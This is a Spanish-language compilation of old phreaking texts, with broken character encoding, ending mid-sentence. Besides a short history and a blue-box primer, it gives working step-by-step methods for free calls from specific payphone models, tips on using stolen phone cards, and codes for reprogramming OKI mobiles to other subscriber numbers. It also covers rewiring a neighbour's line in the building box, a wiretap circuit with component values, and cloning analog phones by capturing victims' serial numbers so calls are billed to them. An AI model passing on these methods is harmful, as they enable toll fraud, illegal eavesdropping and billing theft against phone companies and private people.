Cuando una familia se comunicaba con otro pariente de otro continente sol¡an hacerlo un par de veces al a¤o como mucho, debido a las dificultades que conllevaba esto.  Por esa raz¢n la GPO (Oficina de correos Brit nica, que en ese momento se encargaba de la telefon¡a bretona) se sorprendio de que un turista recibiera del orden de unas 5 o 6 llamadas al dia, por lo que le investigaron. Draper solt¢ la excusa de que era muy popular en EEUU y por eso la cantidad de llamadas…no convenci¢ mucho a las autoridades inglesas, y Capïn Crunch tuvo que pedirle a sus amigos que dejaran de llamarle.

Una de las m s extravagantes formas de difusi¢n del phreaking fue la que llev¢ a cabo Capïn Crunch cuando fue arrestado y encarcelado a mediados de los a¤os 70. Dentro de la c rcel se vio obligado a transmitir sus conocimientos por cuestiones de vida o muerte, es decir, o les explicaba a los reclusos las mas diversas t‚cnicas del phreaking o le machacaban…el resultado es evidente. Draper ense¤o a los reclusos de la prisi¢n en la que se encontraba a cambio de seguir vivo. De esa manera todo recluso que sal¡a de all¡ era un phreaker en potencia, que hab¡a tenido como maestro a uno de los mejores, por no decir el mejor.

Muchos phreakers evolucionaron mas tarde al hacking, como es el caso del pionero Mark Bernay, que bajo el nick de The Midnight Skulker (El vigilante de medianoche) se ri¢ de todos los fallos de seguridad de su empresa, dejando mensajitos sarc sticos a cualquiera que metiera la pata…fue traicionado y encerrado :(. Pero eso no significa el phreaking haya muerto, ni mucho menos, simplemente que con el avance de las tecnolog¡as tambi‚n avanzaron ellos.  Ahora se sigue practicando este fant stico arte, aunque tanto han mejorado las tecnolog¡as de un lado como de otro…ya no basta con realizar un truco parecido al de los loop-arround-pairs para mantener una conversaci¢n gratuita, ahora es ‘algo’ m s dif¡cil, pero siempre que exista una valla alguien la saltar …o sea, que nadie piense que el hacking mat¢ al phreaking porque no es asi, los dos viven en perfecta armon¡a y en pleno auge.

Este texto es una revisi¢n muy poco puntualizada de lo que fue la historia de los inicios de la pr ctica del phreaking, obviamente hubo m s personajes famosos que los citados aqui, y muchas m s maneras de colarse por la l¡nea telef¢nica. Si no se entiende bien o alguien ha notado alg£n fallo o alg£n dato err¢neo se admiten todo tipo de cr¡ticas, ok?

 

 

 

 

 

 

I N I C I A C I O N   A   L A   B L U E – B O X

© Agnus young /Altair

Espero que este documento  os  sirva de ayuda a los que usais una y no

sabéis  realmente como funciona.

Tú, cuando haces un llamada desde Valencia a Asturias por ej. ocurre lo siguiente:

1.Marcas el numero,el prefijo le dice a tu centralita que la llamada es

interurbana.

2.Llegas a la centralita interurbana que es la que controla las llamadas

entre provincias o regiones.

3.Luego la compañia Telefonica envia una subida de voltaje a la linea

de la persona que estas llamando y el telefono Hace riiiiiiiiing!!!!

4.Si no lo cogen se corta la  llamada al cabo + o – de 10-20 rings si  lo

cogen empieza a correr  la cuenta del telefono y los pasos y  todo  eso,

cuando cuelga el telefono la centralita Española manda 2500Hz que es la

señal que le indica que has colgado la linea.

Entonces si  tu coges el ordenador y mandas 2500Hz por la linea mientras estas hablando con un amigo,en teoria se cortaria el telefono,pero no es así debido a que han puesto filtros (pero eso es otra historia), en EEUU la Freq. son 2600Hz,en Suecia 2400 Hz,en las Zonas de EEUU con CCITT son 2400/2600 Hz y luego 2400 HZ,etc,etc.

Bueno  entonces imaginaros que vivis en EEUU y mandais 2600Hz por la li-nea entonces se oiria un beep y luego un clack (o beep-kerchunk),a partir de este momento se puede marcar en el sistema que usan las operadoras-por tonos-, pero no son tonos DTMF (los normales),que se usan en las  casas, son unos tonos un poco diferentes llamados MF,bueno, (Ed:creo que esto se está  complicando  demasiado), veamos si  me entendeis, los 2600Hz no son exactamente los de la señal de colgar el telefono, son la señal de super-visor de la linea,¿entonces la cuenta de telefono te sigue corriendo?, efectiviwonder, pero… la cosa cambia si llamas a un numero 800 (en Es-paña 900,ojo no 903 je,je,je), por  que los pasos no corren ya que es un número gratuito, bueno, y  que  pasa entonces despues de colgar la linea, pues  tienes  unos  15 segundos + o – para marcar en MF (el ya mencionado anteriormente).

Creo que esto es bastante ya por hoy,para + informeixon leer el Articulo “COMO LLAMAR GRATIS POR TELEFONO”.

 

 

 

 

 

 

 

CABINAS NUEVAS AZULES DIGITALES CON POSIBILIDAD DE TARJETAS

 

  • Como casi todos sabeis, telef¢nica nos ha deleitado con dos nuevos modelos de cabinas telef¢nicas. Las ‘outdoor’ nuevas, todas ellas azules y preciosas con indicadores digitales, diferentes idiomas y que admiten tarjetas, son por ahora bas-tante jodidas de matxakar ya que tienen en su interior un modem conectado a una PAP que verifica el n£mero de tu tarjeta.
  • De todas formas si os haceis con una tarjeta robada, hay sitios como el aeropuerto de Barajas donde podreis usarla y poneros ciegos ya que ALLI no verifican. Ojo con intentar hacer algo raro en estas cabinas exceptuando el Aeropuerto o acabareis en Puerto-1 siendo enculados por todos los moritos deseosos. (Estas cabinas tienen un dispositivo de seguridad que avisa de cualquier intento extra¤o).
  • El que avisa no es traidor!
  • Si alguien sabe algo nuevo sobre estas cabinas, abajo pone c¢mo contactar conmigo.

 

CABINAS AZULES VIEJAS DIGITALES (Todav¡a quedan algunas, lo juro)

 

  • Este truco requiere algo de habilidad. Si tienes Parkinson o te pica el culo es mejor que no lo intentes :-). Necesitar s una moneda de 200 pts (viejas) y varios duros(viejos).
  • Vete a la cabina en cuesti¢n. Ahora casi todas llevan un protector de duro metal que sobresale por detr s. Hubo alg£n incauto que dijo que con eso era IMPOSIBLE hacer este truco. Darle una palmadita en la espalda y seguir llamando 🙂
  • Prueba primero el truco con un DURO. Ojo, si la cabina est  muy descalibrada ¢ atascada perder s solamente un DURO. Si eres rico u Onassis prueba con la moneda de 200 pts, t£ ver s.
  • Mete la moneda. En el display (de solo tres d¡gitos aparecer  la cantidad introducida, p.e: 5 pts).
  • Ahora marca el 0 (n£mero m s largo). Si bajas poco a poco (esto se aprende al tacto, ojo) la palanca gris de colgar y lo haces con sua-vidad te encontrar s con que tu moneda ha bajado al cajet¡n de devo-luci¢n pero la cabina sigue marcando la cifra 🙂
  • Cuando tengas pr ctica con el duro, repito, hazlo con una moneda de 200 pts (luego explicar‚ por qu‚). Lo puedes hacer hasta 3 veces (es decir, obtener 600 pts ‘ficticias’). Cuando lo hagas 3 veces, mete en-tonces un n£mero de duros igual a las veces que hayas hecho el pufo.  (Es decir, por 200 pts, metes un duro, marca 205, por 400 pts, metes dos duros, marcar  410 y por 600 pts metes, ojo DOS DUROS, ya que la cabina no acepta m s de 5 monedas ‘a la vez’. Si quieres pufear 600 pts de tel‚fono deber s meter dos duros, marcar  610 y cuando oigas que el primer duro cae en el cajet¡n de monedas, echar otro).
  • Podr s hablar hasta que te queden en la cabina 10pts ‘ficticias’. Ojo al dato, nunca llegar  a cero (digo para las despedidas con la novia, no te vayas a quedar a dos velas :-).
  • La base te¢rica de este truco es un fallo en el dise¤o de la cabina: durante el circuito de marcado no comprueba el ‘cuelgue’ de la cabina. Resultado, si lo haces bien, tu moneda caer  y la incauta de la cabina creer  que est ah¡. 🙂 Peeeerooo, la cabina SI ha contabilizado que le han entrado cinco monedas, y tendr  que meter 5 en su ‘caja fuerte’. Por lo tanto, al principio creer  que est  metiendo en su caja fuerte monedas de doscientas cuando lo est  haciendo de duro (la muy capulla no comprueba el peso nada m s que al principio :-). Esta es la raz¢n por la cual la comunicaci¢n se te cortar  cuando queden 10 pts en el display (querr  meter dos monedas m s y se encon trar  que no hay ninguna).
  • En cualquier caso, el cambio es bueno, no??? 200 pelas de tel‚fono por 5…
  • Las mejores cabinas para hacerlo suelen ser cabinas usadas por la zona de las playas que es donde menos las arreglan 🙁

 

CABINAS NUEVAS DIGITALES VERDES PEQUE¥AS (DISPLAY GRANDE)

 

  • Estas son f ciles de pufear si est n en un sitio no muy vigilado (estaci¢n de FFCC, autobuses, hospitales, bares grandes, etc).
  • Deber n tener su roseta telef¢nica RJ-11 a la vista, sino a joderse.
  • Para llamar gratis:
  • Descolgar el tel‚fono. Fijaros que nadie os mire, e introducir por la ranura de las monedas una tarjeta de visita doblada por la mitad ¢ un cart¢n de m s o menos el mismo largo.

(Nota para torpes: NO metas tu propia tarjeta o la de alguien

conocido. Si se te atasca, la has cagado, idiota).

  • Ibamos en el cartoncito. Bueno, lo meteis hasta el fondo 🙂 notareis que activa un sensor. Ahora, CON LA TARJETA METIDA, colgais el tel‚fono y descolgais. Si habeis sido buenos y habeis seguido las instrucciones en el display de la cabina os saldr un mensaje del tipo

 

6.42 Simbolos raros y UN ASPA (X) grande.

  • Bien, ahora marcais un n£mero como el 002/003. Antes de que os salga el ‘le atiende la posici¢n XXXXXX’ quitad el Jack de la roseta y volverlo a meter. Por el auricular oireis el tono de llamada.
  • Si ahora pulsais la tecla MF (Multifrecuencia) ya podeis marcar a donde querais…. gratis.
  • Que no os suponga cargo de conciencia hacerlo :-), que debido a este fallo en el dise¤o, que la puta Timof¢nica no admite, los cargos de las llamadas las acaba pagando la C¡a. 😀 😀
  • Ah!! Un £ltimo consejo, tapad con la mano el display para que nadie que pase se mosquee y echad alguna vez alguna monedita (que os devolvera, je,je) para hacer el parip‚.

 

CABINAS NUEVAS DIGITALES CON DISPONIBILIDAD DE TARJETAS

 

  • Tengo que anunciar que para esta cabina, los trucos son m s dif¡ciles de realizar con ‚xito pero con experiencia, podr‚is llamar gratis a cualquier parte del mundo.

 

Para estos trucos necesitareis la tarjeta de telef¢nica (1000 o 2000)

Met‚is la tarjeta, descolg is, y cuando la pestillo de la tarjeta

baje, deb‚is pulsar r pidamente R 5, no simult neamente. Lo que

hac‚is con esto es que, primero la cabina lea lo que tienes en

la tarjeta (1000 , 344,…) y luego al sacarla el dinero ficticio

queda dentro y la tarjeta la tienes t£.

 

Este el efecto es el mismo, pero se realiza de diferente manera, Meter la tarjeta, descolgar y en el momento de descolgar dar lo m s r pidamente posible muchas veces a la R hasta que de el tono.  Luego marc is el 999 y 9 y r pidamente puls is muchas veces al cambio de tarjeta, el pestillo se quitar .

 

 

Si alguien sabe m s sobre trucos nuevos para est  cabina que los

vaya dejando en la BBS.

 

 

 

 

 

 

 

REPROGRAMANDO EL OKI 900

 

Hi! Dudes, aqui teneis como reprogramar vuestro telefono movil

OKI Modelo 1150 , tambien conocido como OKI 900

Proximamente instrucciones para el modelo 1325.

See U.

T800.

PROGRAMACIàN DEL TELEFONO MOVIL OKI 900 ( 1150 )

SPANISH VERSION

Encender el telefono con la tecla PWR mas de 1 segundo

Pulsar RCL+MENU al mismo tiempo

Introducir con el teclado *12345678# y pulsar dos veces seguidas STO

En la pantalla se ver  la revisiOn del software y el nUmero de serie en HEX

Ahora introducir el n£mero de abonado empezando con 2148 XX XX XX (siendo X el nUmero del abonado sin el 908)

A continuaci¢n pulsar la tecla STO

Pulsar la tecla BAJAR VOLUMEN hasta que aparezca en la pantalla –> Num AID

Introducir con el teclado 23552, acontuaciOn pulsar la tecla STO

Pulsar la tecla BAJAR VOLUMEN hasta que aparezca en la pantalla –>IPC no.0323

Pulsar la tecla BAJAR VOLUMEN hasta que aparezca en la pantalla  –>ACCOLC No.XX

Introducir con el teclado los numeros 05 y pulsar STO

Pulsar la tecla BAJAR VOLUMEN hasta que aparezca en la pantalla –>PS DDC 0323

Pulsar la tecla BAJAR VOLUMEN hasta que aparezca en la pantalla –>NPS DCC 0023

Pulsar la tecla BAJAR VOLUMEN hasta que aparezca en la pantalla –>Option bit.

Aparecera 0001001 (por defecto). Cambiarlo si no es correcto y pulsar STO.

Pulsar la tecla BAJAR VOLUMEN hasta que aparezca en la pantalla –>Dispaly OWN.

Pulsar 0908, y acontinuaci¢n la tecla STO.

Apagar el telefono con la tecla PWR.

Para comprobra si la programaci¢n ha sido correcta pulsar, despues de encender

, la secuencia RCL # #

Si teneis informacion sobre telecards o  sobre programacion de otros moviles y deseais colaborar en esta noble causa mandadla a :

t800@redestb.es

!            (o o)             !

!    —-oOO–( )–OOo—-     !

!   LA VERDAD ESTA EN LA RED   !

 

 

 

 

 

 

 

REPROGRAMANDO EL TELEFONO OKI 1325

 

1.- Encender el tel‚fono ( Si esta apagado o sin bateria no funcionar  ),Je

2.- Pulsar al mismo tiempo las teclas RECALL y MENU

3.- Marcar antes de 20 segundos *122345678#.

El display indica=20 ENTER NEW PW & STO

 

4.- Pulsar STORE. El display indica: Re-enter PW & STO

5.- Pulsar STORE otra vez

6.- Pulsamos el cursor del volumen inferior ( Situado en el lateral

del telefono ), Hasta que aparezca PROGRAMAR TEL

7.- Transcurridos unos segundos aparecer  en pantalla NUMERO, marcar el

numero del abonado comenzando con el 2148 xx xx xx. Pulsar STORE para grabarlo

8.- Con el mismo cursor del volumen pasamos a la siguiente pantalla,

apareciendo VISUAL, marcar a continuaci¢n 908 xx xx xx ( Evidentemente donde

esta la x nosotros ponemos un numero 🙂 ), Pulsar STORE

9.- Pulsar el cursor del volumen y vermos en pantalla NUM. AID. marcar el

numero 23552 y pulsar STORE

10.- Volver a pulsar el cursor de volumen, hasta ver IPCH NO. marcar el

numero 0323, pulsar la tecla STORE

11.- Oprimir nuevamente el cursor de volumen, aparecer  en pantalla ACCOLC

NO, marcar el 05, y a continuacion STORE

12.- Pulsar el cursor de volumen apareciendo PS DCC, marcar 0323 y STORE

13.- Pulsar el cursor de volumen y aparecera OPTION BIT, marcar=20 00010001

y STORE

Ahora apagamos el tel‚fono y …

!!! Correcto ya est  programado !!!

 

 

 

 

 

 

 

 

II    Intercambio de Lineas.

****

 

Ventajas:

  • Igual que si llamaras desde casa.

Inconvenientes:

  • Solo se puede usar por la noche debido a las comprobaciones de telefonica
  • Hay que tener cuidado con la linea que se escoja ya que algunas son usadas para monitorizar alarmas.
  • Elegir lineas de comprobacion de telefonica (sin ninguna linea conectada),por que no creo que le haga mucha gracia al vecino que le llegue una factura de medio kilo.
  • No se pueden usar los Domingos por razones que explicare’.

 

Este sistema es bastante bestia,simplemente tienes que buscar

el cajetin de telefonica de tu edificio,buscar tu linea de telefono

quitar los tornillos y ponerla en otra de un vecino que te caiga

mal o lo que es mejor usar una linea libre de comprobacion de telefonica.

Para identificar tu linea de telefono,simplemente deja tu telefono

descolgado con musica (si es de AC/DC mejor) o algo por el estilo

simplemente para poder identificar tu linea,luego bajas con un suple-

torio con los cables pelados y vas probando lineas hasta que encuentres

la tuya,cuando la encuentres arrancala y ponsela a una linea libre

(suelen estar en la parte de arriba del cajetin),recuerda hacerlo solo

por la noche debido a razones bastante obvias,ten cuidado con la linea

que elijas!!!!!,no se debe usar en Domingo por una razon que os puede

sorprender:esas lineas son usadas para los partidos de radio,y a lo

mejor vuestra conversacion sale al aire!!!!!!.Solo os deseo suerte

y os aseguro que el sistema funciona.

 

VI   Radio.

 

Este sitema aunque suene a fantasmada es muy dificil de lograr pero

una vez que se alcanza es de funcionamiento garantizado.

El metodo a seguir es muy muy muy sencillo,simplemente se trata de en-

lazar con una emisora,la señal de radio del repetidor de tefonica y

una vez alli marcar por tonos….

 

+————————————————————————-+

|             V A M O S  A  D E S M E N T I R  R U M O R E S              |

+————————————————————————-+

 

 

1.El uso de una blue-box no representa ningun gasto a la persona que

se llama.

2.El enchufe con telefonica no funciona desde hace por lo menos 1 año.

Debido a la irrupcion de la informatica.

3.No es imposible hacer blue-box en España.(creo que esta claro)

4.Es muy facil que telefonica te coja si tienes linea digital.

(Para mucha gente que piensa lo contrario)

 

+————————————————————————-+

|               P R E C A U C I O N E S  A  S E G U I R                   |

+————————————————————————-+

 

1.BLUE-BOX es peligrosa si se tiene linea digital.

2.No hablar de Blue-Box por telefono.

3.Preferiblemente si no usas modem,no hacer bb desde casa.

4.Cuidado con algunas lineas de telefonica,pueden impedir

que cuelgues el telefono y rastrear tu llamada.

5.Mandar siempre el TASI,sobre todo si usas modem,ya que la

señal se jode.

6.Usar con bb siempre un modem con correccion de errores,

esto es debido a la mala calidad de la linea (gracias Matias).

7.Si la linea no se ha cortao con la primera freq. no mandar el resto

de los digitos.

8.No conectar el audio directamente a la linea telfonica.

 

¿QUE HACER SI TELEFONICA OS BLOQUEA EL TELEFONO?

Telefonica si detecta que estais haciendo blue-box,puede bloquearos el

telefono,o dicho en otras palabras impedir que colgueis,e intentar

localizaros,aunque os pueda acojonar,no debeis preocuparos ni poneros

histericos,muchas veces con solo desconectar la clavija del telefono

y volverla a conectar varias veces se soluciona el problema,un amigo

mio tuvo el telefono asi durante tres dias y le volvio a funcionar

(hay veces que es causa de la linea).Pero si la situacion se prolonga

la solucion es coger la corriente electrica de la casa (SI!!!!!) y

meterla por la linea,en EEUU es tambien usado de esta forma solo

que es AT&T la que bloquea mandando un ligero voltaje.

 

 

 

 

 

 

 

Esquema para pinchar lineas telefonicas

 

La linea se puede pinchar en dos lugares diferentes, en el cable que va

de la casa a la caja donde se juntan las lineas o bien en dicha caja.

Si lo conectamos en el cable no habra problemas de identificacion pero dara mucho en cante ver un aparato pegado al hilo.

Si lo conectas dentro de la caja no se vera (a menos claro que los de T

revisen la caja) pero puede haber problemas para identificar el numero

es asi, llevate un movil GSM y un telefono normal conecta este a cada linea

y llama al movil, el Caller-ID te permitira saber cual el la correcta.

Este es el esquema para pinchar una linea telefonica.

o—||—\/\/\——-+——–\/\/\——-+———+

C1     R1        |          R2        |         |

+-+-+                  |         |

|   |                  /         |

__   __                 \         +—- ALTAVOZ/

LINEA                   D1 /\   \/ D2              /

—   —             R3  \         +—- GRABADOR

|   |                  /         |

+-+-+                  |         |

|                    |         |

o——————–+——————–+———+

Los componentes son:

C1: 47nF

R1: 27K

R2: 4K7

R3: 120

D1, D2: 1N4148

 

El grabador tiene que ser del tipo de los que se activan por la voz.

C1 elimina la continua y evita la elevada tensi¢n del tono de llamada (m s de 100 voltios); R1, D1 y D2 recortan la se¤al alterna a algo menos de 1 voltio; por £ltimo, el divisor R2, R3 reduce la se¤al para evitar que el grabador se dispare cuando haya ruido en la l¡nea.

 

Por ultimo recordaros que la escucha y grabacion de conversaciones de

terceras personas esta penada por la ley. Esta informacion se proporciona

con fines unicamente educativos y/o cientificos. No me hago responsable

de lo que puedas hacer con estos datos.

 

 

 

 

PHREAK CON MOVILES ANALOGICOS

 

Aqu¡ os dejo un articulito que hemos hecho para ense¤ar un poco en

que consisten las comunicaciones celulares, y que se puede hacer con

ellas.  🙂

Hemos usado algunas revistas muy conocidas, as¡ que si a alguno le suena

lo que hemos escrito, que no se alarme, es muy posible que lo hayais

leido en otro sitio 😉

Bueno, empezemos, y si alguien tiene alguna duda, que la haga, que

intentaremos solucionarsela ( si podemos ;-D ).

 

—————-8<———————>8—————————

Tel‚fonos celulares Por Cacique & ICE-Kid.

Las comunicaciones celulares, tan de moda ultimamente (regalan celulares hasta con los cereales del desayuno X-DDDD) tienen un funcionamiento parecido al de las llamadas telef¢nicas convencionales.

Las llamadas se hacen a traves de las MTSO (Mobile Telecommunications Switching Office). Las MTSO manejan todas las llamadas desde y para celulares y ademas, manejan la tarificaci¢n. Son parecidas a nuestras centrales telef¢nicas convencionales.

Una llamada proveniente de la MTSO es enviada a una c‚lula y de cada c‚lula, la se¤al viaja hasta el tel‚fono celular.

Estas c‚lulas, son repetidores que cubren la superficie de un area.

Cuando nos movemos por esta area, la se¤al de nuestro tel‚fono, es

manejado por esta c‚lula que la pasa a la MTSO desde donde accede a

la red telef¢nica normal. Cuando nos aproximamos al borde del area

de cobertura de una c‚lula, la se¤al pasa inmediatamente a otra c‚lula

donde la llamada continua sin interrupci¢n.

Esto se denomina Cellular Hand-Off.

Las comunicaciones celulares, se reparten entre muchas c‚lulas, de forma que parece una gran colmena de abejas.

La mayor¡a de las c‚lulas est n situadas en las areas en que son necesitadas, por eso vemos tantas c‚lulas en las orillas de las carreteras. Cada c‚lula tiene su propio transmisor receptor que la conecta con la red telef¢nica local. Cuando la llamada viaja de una c‚lula al MTSO, la informaci¢n del celular (n£mero de abonado, frecuencia, numero de serie electr¢nico etc…) pasa unida a la transmisi¢n telef¢nica para de esta forma tarificar la llamada.  Conociendo la posici¢n geogr fica de la c‚lula, se puede llegar a descubrir la posici¢n de un movil que est‚ activo. Esto es importante, pues se puede localizar a una persona cuando realiza una llamada.

Los tel‚fonos celulares son realmente computadores, terminales de red, unidos por una gran red celular. Al ser computadoras, obviamente los tel‚fonos celulares tambi‚n son programables. Esto, en la mente de un hacker significa que no hay raz¢n para limitar un tel‚fono movil a las “pobres” funciones que su fabricante le ha dado. Tambi‚n significa, que un tel‚fono movil, puede ser Hackeado }:-)).

Para hackear un movil, se necesita acceder a una zona de su memoria, la cual contiene el soft que los t‚cnicos metieron all¡ para posteriormente poder  reprogramar el movil.. Esta zona suele estar escondida tras un password como en los OKI 900.

Para localizar este password no hace falta tratar con la m s sofisticada ingenier¡a social, simplemente se puede encargar el Manual T‚cnico y estudiarle detenidamente. Hemos dicho Manual T‚cnico, no Manual del Usuario, tenerlo en cuenta.

Algunos tel‚fonos m¢viles contienen un modo secreto que les convierten en un poderoso scanner celular. Usando desensambladores, se pueden sacar del soft del tel‚fono, incluso 90 comandos secretos para controlar el celular.

Normalmente, tambi‚n se puede controlar el tel‚fono con un ordenador personal, ya que los fabricantes suelen incluir un interface que haga esto m s facil para resolver posibles averias dentro de los tel‚fonos.

Sigamos con el OKI900. Este celular tiene una ROM de 64-Kbytes en la cual almacena su soft y que tiene cerca de 20 kbytes libres. Todo este espacio se puede llenar de nuevos programas. }:-))

Esto que viene ahora, puede ser pura ciencia ficci¢n. Pero imaginaros un programa en estos 20ks. Imaginaros un programa que se pudiera transmitir junto con la informaci¢n del celular, a la c‚lula.  Imaginaros un programa con algunos comandos que pudieran influir en esa c‚lula, o quiz s en el tel‚fono receptor (siempre que fuera otro celular). Tan solo imaginaros las posibilidades. De todas formas, ya os lo he dicho. Quiz s solo sea ciencia ficci¢n }:) …

Ahora vamos a lo interesante. ¨C¢mo hacer llamadas gratis con un movil?.  Bueno, realmente no son gratis. La comunicaci¢n se tarifica.La cuesti¢n est  en aprovechar las inevitables emisiones de radio de baja potencia de un celular, para construir un tel‚fono que con la pulsaci¢n de unos cuantos botones, sea capaz de scanear el espectro RF para conseguir el numero de serie electr¢nico de una v¡ctima. Se debe estar muy cerca de la v¡ctima para conseguir este n£mero de serie, as¡ que un buen lugar para hacerlo, pueden ser los puentes situados sobre las grandes autopistas de entrada a las ciudades, por donde una gran cantidad de yuppies colgados a sus celulares suelen pasar para ir o volver de su trabajo.

Una vez que consigamos este numero de serie electr¢nico, nuestro siguiente paso, ser  reprogramar nuestro tel‚fono para que las comunicaciones que hagamos sean con ese numero de serie. De esta manera, nuestras comunicaciones ser n tarificadas a la v¡ctima.

Algunos os preguntareis: ¨Y no recibiremos las llamadas de la v¡ctima en nuestro celular? Pues si, es posible, aunque con solo conectar el movil para realizar llamadas, no debemos preocuparnos. Tambi‚n alguno os preguntareis si cuando la v¡ctima descuelgue su celular para realizar alguna llamada y nosotros estemos realizando otra, nos podremos oir.  La respuesta es no, puesto que la se¤al que enviemos nosotros es de ida, es decir, no vuelve a nosotros y de todas formas, cada llamada utiliza un canal privado. De esta manera no nos podr n oir.

—————-8<———————>8—————————

Bueno, chicos, nada m s, esperamos que este art¡culo os parezca interesante, y si teneis alguna aclaraci¢n, pregunta o incluso algo que penseis que est  incorrecto en este art¡culo, lo digais.

CaCiQuE & ICE-Kid.

 

 

 

 

 

 

 

TARJETAS TELEFàNICAS

Por Juan Manuel Garc¡a L¢pez (E-Mail: juanma@gui.uva.es)

Despu‚s de que los bancos nos llenaran los bolsillos de tarjetas de banda magn‚tica,

llegan los tel‚fonos y nos ofrecen unas nuevas tarjetitas, del mismo tama¤o, pero

completamente distintas. Esos trocitos de pl stico que parece que llevan una peseta de las

antiguas incrustada en una de sus caras son las tarjetas chip. Desde aqu¡ pretendemos

alumbrar un poco sobre el misterio que encierran.

Una tarjeta chip es, en su modelo m s sencillo, una memoria EPROM (Eraseable

Programmable Read-Only Memory) de 256 bits que pueden ser le¡dos y, algunos de ellos,

escritos. Hay modelos m s complejos, que incluyen zonas que no pueden ser le¡das si no se

proporciona una clave, o que tienen incluso un microprocesador con sistema operativo propio

(definido en el est ndar ISO7816). Las tarjetas de tel‚fono pertenecen al primer modelo, pero no

por ello son inseguras. El hecho de que no haya campos protegidos contra lectura se explica

porque no hay nada confidencial en ellas (al contrario de, por ejemplo, en las tarjetas de los

bancos).

Una EPROM se borra someti‚ndola a radiaci¢n ultravioleta. Para garantizar la inviolabilidad de

la tarjeta, el chip est  recubierto de resina opaca a dicha luz. As¡, resulta imposible borrar los bits

de la EPROM, impidiendo de esta forma la grabaci¢n en la tarjeta del contenido que nosotros

deseemos. Adem s, aun en el caso de que consigui‚semos que la luz ultravioleta llegase al chip, con

ello pondr¡amos a cero TODOS los 256 bits. Alguien pens¢ en ello e incorpor¢ un fusible (que ya

viene fundido de f brica) cuya misi¢n es la de impedir la grabaci¢n en los primeros 96 bits de la

tarjeta, zona denominada “del fabricante”, y que sirve como DNI de la tarjeta (S¡. Llevan n£mero

de serie individual) y como identificaci¢n del fabricante y dem s. Al no poder reescribir esta zona,

la tarjeta quedar¡a inservible, ya que no ser¡a reconocida. Si alguien comenz¢ a leer este art¡culo

£nicamente pensando que podr¡a ahorrarse unos duros en tel‚fono, aqu¡ acaba para ‚l. La

respuesta es ®no se puede¯ recargar una tarjeta, lo que si pondemos es emularla (para mas

informacion ver seccion de ficheros). Si, por el contrario, el lector es curioso, lo que viene a

continuaci¢n son algunos detalles de funcionamiento.

Conector

La distribuci¢n de los contactos del conector es la siguiente:

Contacto

Significado

1

Vcc = +5V

2

  • R/W

3

CLK

4

RST

5

GND

6

Vpp = +21V

7

I/O

8

FUS

 

El bus de datos es de un solo bit (contacto 7), y no hay bus de direcciones. Las posiciones de

memoria van siendo le¡das/escritas secuencialmente. Si se desea leer/escribir una posici¢n

determinada, se ha de hacer un “reset” a la tarjeta (contacto 4) y comenzar leyendo desde el bit 1

hasta la posici¢n elegida.     El contacto 2 a nivel alto indica petici¢n de escritura. A nivel bajo,

lectura.     Los contactos 1, 5 y 6 son los correspondientes a la alimentaci¢n de la tarjeta. GND es

el voltaje de referencia. Vcc es el voltaje de la circuiter¡a, +5V, y Vpp es el voltaje necesario para

escribir bits en la tarjeta. El contacto Vpp est  normalmente a +5V salvo cuando se escribe, que

pasa a +21V.     El contacto 8 (FUS) es utilizado £nicamente en f brica para impedir la escritura en

los 96 primeros bits.     El contacto 3 (CLK) es mediante el cual se comunica a la tarjeta cu l debe

ser su ritmo cardiaco.     Algunos fabricantes de tarjetas no emplean los contactos 6 y 8, ya que, en

algunos modelos, no es necesario el voltaje +21V para programar el chip.

Mapa de memoria

A estas alturas, al lector ya se le habr  ocurrido pensar c¢mo se pueden introducir 1000 o

incluso 2100 pts. en 256 bits, m xime cuando 96 de ellos est n ya ocupados para la identificaci¢n

de la tarjeta. Veamos detalladamente qu‚ es lo que hay en esos 256 bits:

Bits 1-8 (byte 1): Byte de comprobaci¢n. Su valor es 216 menos la suma de los bits 9 a 96.

Bits 9-16 (byte 2): 83h

Bits 17-32 (bytes 3-4): FFFFh

Bits 33-40 (byte 5): Identificador de la marca del fabricante. En las tarjetas espa¤olas vale

90h, 30h o 5Ah, seg£n el fabricante de que se trate.

Bits 41-64 (bytes 6-8): N£mero de serie. En las tarjetas etiquetadas como 30h y 5Ah en el

byte 5, se calcula como Byte 6 * 10000h + Byte 7 * 100h + Byte 8. En las dem s, se

ignora.

Bits 65-80 (bytes 9-10): Valor inicial de la tarjeta:

1000 pts. -> 148Ah

2000 pts. -> 2504h

2100 pts. -> 2506h

Bits 81-88 (byte 11): 1Eh

Bits 89-96 (byte 12): Pa¡s. Espa¤a es 22h, pero hay otros pa¡ses cuyas tarjetas utilizan el

mismo mapa de memoria.

Hasta aqu¡ la zona del fabricante. A partir de aqu¡ comienza la zona de datos propiamente dicha:

160 bits, de los cuales los diez primeros (bits 97-106) se funden (ponen a uno) en f brica para

probar la tarjeta.

A medida que vayamos consumiendo la tarjeta, se ir n poniendo m s bits de esta zona a uno,

pero no uniformemente. Dentro de los 150 bits disponibles hay dos zonas, y su mapa depende del

valor de la tarjeta:

En las tarjetas de 1000 pts., los bits 107 a 206 son unidades “lentas”. Cada bit puesto a uno

en esta zona vale 5 pts. En total, 500 pts. Los bits 207 a 256 son unidades “r pidas”. Un bit

a uno en esta zona vale 10 pts. En total, otras 500 pts.

En las tarjetas de 2000 pts., los bits 127 a 166 son unidades de 5 pts. (total: 200 pts.), y los

bits 167 a 256 son unidades de 20 pts. (total: 1800 pts.). Se desconoce la utilidad de los bits

107 a 126 en estas tarjetas. Posiblemente no se usen.

En las tarjetas de 2100 pts., el funcionamiento es como el de las de 2000 pts., salvo que la

zona “lenta” corresponde a los bits 107 a 166 (300 pts.). La decisi¢n de utilizar unidades

“lentas” o “r pidas” corresponde al aparato lector. El autor de este art¡culo desconoce el

criterio empleado.

Sin embargo, aparece alg£n interrogante:

  • Las tarjetas de 1000 pts. son, aparentemente, m s flexibles que sus hermanas mayores, ya que

el tama¤o de las unidades de cobro es m s uniforme que en las de 2000 y 2100 pts.

  • Al t‚rmino de las unidades menores, ¨qu‚ ocurre? Si no hay “duros” para usar, se supone que

la unidad m¡nima de cobro es la unidad r pida. En una tarjeta de 2100 pts. con los “duros”

agotados, unallamada urbana que sobrepase m¡nimamente las 20 pts. nos costar  la friolera de ­40

pts.! frente a las te¢ricas veintipocas. No obstante, esto es s¢lo una suposici¢n que se revela

inmediatamente de la estructura de los datos de la tarjeta, estando en estos momentos pendiente de

confirmar.

  • Como ahora la llamada m¡nima en una cabina es de 20 pts., es de sospechar que en las tarjetas

de 1000 pts. se consuma primero alguna unidad de 10 pts. De esta forma, se terminar n antes las

unidades de 10 pts. que las de 5 pts., y as¡ los redondeos ser n m¡nimos. Por tanto, en cada

